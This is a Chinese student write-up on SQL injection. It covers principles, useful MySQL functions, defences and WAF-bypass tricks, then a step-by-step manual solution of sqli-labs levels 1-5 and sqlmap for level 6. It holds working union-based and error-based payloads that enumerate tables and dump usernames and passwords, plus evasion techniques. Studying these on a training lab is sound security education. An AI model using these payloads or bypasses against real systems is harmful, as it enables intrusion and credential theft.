目录
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法。
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap。
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法。
SQL注入原理
SQL注入(SQL Injection)是一种针对Web应用程序数据库的安全漏洞攻击手段。其原理在于,攻击者通过在Web表单的输入域或页面请求的查询字符串中插入恶意SQL代码片段,欺骗数据库服务器执行非授权的数据库操作。这些操作可能包括查询、插入、更新或删除数据,从而导致数据泄露、篡改或丢失。具体来说,SQL注入漏洞的发生通常是因为Web应用程序对用户输入的数据没有进行充分的验证和过滤,导致攻击者能够控制并修改后端数据库执行的SQL语句。例如,在一个Web应用程序中,如果查询语句被设计为`SELECT * FROM users WHERE username = '$username'`,并且`$username`是用户可控的输入,那么攻击者可以通过输入类似`'admin' OR '1'='1`的字符串来绕过验证,执行未授权的查询。
SQL注入常用函数及含义
(1)信息获取函数
- `version()`:返回数据库的版本信息。
- `user()`:返回当前数据库用户。
- `database()`:返回当前数据库名。
- `@@basedir`、`@@datadir`:分别返回数据库的安装路径和文件存放路径。
- `@@version_compile_os`:返回操作系统版本。
(2)字符串处理函数
- `concat()`:拼接字符串。
- `concat_ws()`:使用指定分隔符拼接字符串。
- `group_concat()`:将多个行的列值连接成一个字符串。
- `left()`、`right()`、`substr()`、`mid()`:用于字符串的截取。
- `ascii()`:返回字符串最左字符的ASCII值。
(3)条件与逻辑函数
- `if()`:根据条件返回不同的值。
- `sleep()`:使查询暂停指定的时间,常用于延时注入
(4) 报错注入函数
- `updatexml()`、`extractvalue()`:用于XML文档的查询和修改,但可以在报错信息中泄露数据。
- `floor()`、`rand()`、`exp()`:结合使用可以造成数据库错误,从而泄露数据。
(5)文件操作函数
- `load_file()`:读取文件内容。
- `into outfile`、`into dumpfile`:将查询结果写入文件。
SQL注入防御手段
(1)使用预编译语句(Prepared Statements)和参数化查询
这是预防SQL注入的最有效方法之一,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构。
(2)使用存储过程
存储过程也可以防止SQL注入,因为它们同样使用参数化查询。
(3)使用ORM(对象关系映射)工具
现代编程框架提供的ORM工具可以自动进行参数化查询,降低直接编写SQL语句的风险。
(4)验证用户输入
对所有用户输入进行验证,拒绝不符合预期格式的输入。
(5)使用适当的错误处理机制
不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。
(6)限制数据库权限
为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。
(7)定期更新和打补丁
保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。
(8)使用Web应用防火墙(WAF)
WAF可以帮助识别和阻挡SQL注入攻击。
(9)定期进行安全审计和代码审查
检查潜在的安全漏洞,及时修复。
SQL注入常用绕过WAF的方法
(1)注释符号绕过
- 攻击者可以在SQL语句中插入注释符号(如`--`、`/* */`、`#`)来隐藏或注释掉WAF检测到的关键部分,从而使恶意SQL代码能够执行。例如,在查询语句后添加`-- -`来注释掉后续的SQL代码。
(2)编码绕过
- 攻击者可以使用不同的字符编码方式(如URL编码、Unicode编码等)来隐藏或变换恶意SQL代码,从而绕过WAF的检测。例如,将`admin`编码为`%61%64%6D%69%6E`进行绕过。
(3)大小写变换绕过
- 利用数据库系统对SQL关键字大小写不敏感的特性,攻击者可以将SQL关键字的大小写进行变换,以绕过基于大小写过滤的WAF。例如,将`SELECT`写成`SeLeCt`。
(4)特殊字符和逻辑绕过
- 攻击者可以通过在SQL语句中插入引号或其他特殊字符,或者利用逻辑漏洞(如使用`OR '1'='1`)来构造恶意SQL代码,从而绕过WAF的检测。
(5)使用替代字符和函数
- 攻击者可以使用替代字符(如`&&`代替`AND`,`||`代替`OR`)或替代函数(如使用`mid()`代替`substr()`)来绕过WAF对特定字符或函数的拦截。
(6)内联注释绕过
- 使用MySQL特有的内联注释`/*! ... */`,这些注释在MySQL中会被执行,但在其他数据库中则会被忽略。攻击者可以利用这一点来绕过WAF的检测。
(7)分块传输编码绕过
- 利用HTTP协议的分块传输编码机制,将恶意SQL代码分散在多个数据包中发送,从而绕过WAF的检测。
(8)污染特性绕过
- 利用某些编程语言的特性(如PHP中的参数覆盖)或HTTP请求的特性(如POST和GET请求的差异),通过构造特殊的请求来绕过WAF的检测。
(9)逻辑错误和异常处理绕过
- 利用应用程序或数据库的逻辑错误(如错误处理机制中的信息泄露)或异常处理机制(如SQL错误导致的页面异常),通过触发这些错误来获取数据库信息或绕过WAF的检测。
(10)工具和技术结合绕过
- 使用自动化工具(如SQLMap)的绕过脚本或自定义脚本来绕过WAF的检测。这些脚本通常包含多种绕过技术,可以根据WAF的具体配置进行动态调整。
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap。
我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:
第一关(联合查询)
打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看
可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入,判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:
可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 错
?id=1' union select 1,2,3 --+ 正常
?id=1' union select 1,2,3,4 --+ 错误
从上面两中方式都可以判断出数据库是有3列的,然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列。
?id=-1' union select 1,2,3 --+
从显示结果可以看到,这里的name是第2列,password是第3列。
那么现在就可以从第2列或者第3列查询出当前数据名和版本号,通过结果知道当前数据看是security,版本是5.7.26:
?id=-1'union select 1,database(),version()--+
现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:
查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~
第二关(数字型)
这一关与第一关是大致相同的这里就直接直接提供payload:
尝试闭合查看是否存在SQL注入:
?id=-1'
查看数据库的列数:
?id=1' order by 3--+ 正常
?id=1 order by 4--+ 错误
查看那些地方可以回显:
?id=-1 union select 1,2,3--+
从显示结果可以看到,这里的name是第2列,password是第3列。
查询数据库、数据库版本:
?id=-1 union select 1,database(),version()
查看数据库中所有的表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表中的所有字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--
查看数据:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
第三关('闭合)
尝试闭合查看是否存在SQL注入:
这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:
查看数据库的列数:
?id=1')--+ order by 3--+
存在发现数据库中当前表格存在三列
查看那些地方可以回显:
?id=-1') union select 1,2,3--+
判断回显位置为2、3
查询数据库、数据库版本:
?id=-1') union select 1,database(),version()--+
查看数据库中所有的表:
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看表中的所有字段:
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看数据:
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关(")闭合)
尝试闭合查看是否存在SQL注入:
这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:
查看数据库的列数:
?id=1") order by 3--+
存在发现数据库中当前表格存在三列
查看那些地方可以回显:
?id=-1") union select 1,2,3--+
判断回显位置为2、3
查询数据库、数据库版本:
id=-1") union select 1,database(),version()--+
查看数据库中所有的表:
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看表中的所有字段:
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看数据:
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
以上本关就通过了
第五关(报错输入)
报错注入:
1. extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
既然存在注入,那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
可以看到列数是3列
知道了列数,那么我们就试试看哪里可以回显:
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+ 可以看到这里我们无论怎么进行查询,结果都会显示You are in .........
但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入即可
3.总结SQLi的手工注入的步骤。
1. 判断有无注入点
- 方法:通过向URL或表单输入中插入特定的SQL语句片段(如`' OR '1'='1`),观察应用程序的响应来判断是否存在SQL注入漏洞。
- 目标:确认应用程序是否对输入进行了充分的过滤和转义处理。
2. 猜解列名数量
- 方法:使用`ORDER BY`子句尝试不同的列数,直到出现错误,以确定数据库表中列的数量。
- 示例:在URL后添加`?id=1 ORDER BY 4`,逐渐增加数字,直到出现错误,从而确定列数。
3. 判断数据回显点
- 方法:使用`UNION SELECT`语句与一些已知值结合,尝试确定哪些位置(列)能够回显(显示)在应用程序的响应中。
- 示例:`?id=-1 UNION SELECT 1,2,3`,观察哪些数字(即列)的内容被显示在响应中。
4. 信息收集
- 数据库版本:使用`UNION SELECT`结合`version()`、`@@version`等函数获取数据库版本信息。
- 数据库名:使用`UNION SELECT`结合`database()`函数获取当前数据库名。
- 数据库用户:使用`UNION SELECT`结合`user()`函数获取当前数据库用户。
- 其他信息:还可以获取操作系统的版本、数据库路径等信息,但通常这些信息对后续攻击的直接帮助较小。
5. 获取表名和列名
- 表名:通过查询`information_schema.tables`表,使用`UNION SELECT`结合`group_concat(table_name)`和适当的`WHERE`子句来获取表名。
- 列名:类似地,通过查询`information_schema.columns`表,使用`UNION SELECT`结合`group_concat(column_name)`和适当的`WHERE`子句来获取列名。
6. 爆数据
- 获取数据:在确定了表名和列名之后,可以直接使用`UNION SELECT`查询目标表中的敏感数据,如用户账号和密码。
- 示例:`?id=-1 UNION SELECT 1, group_concat(username, ':', password), 3 FROM users`。
4.使用sqlmap通过或验证第六关
第6关("闭合)
尝试闭合查看是否存在SQL注入:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可
这里我采用sqlmap来通过本关
python sqlmap.py -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs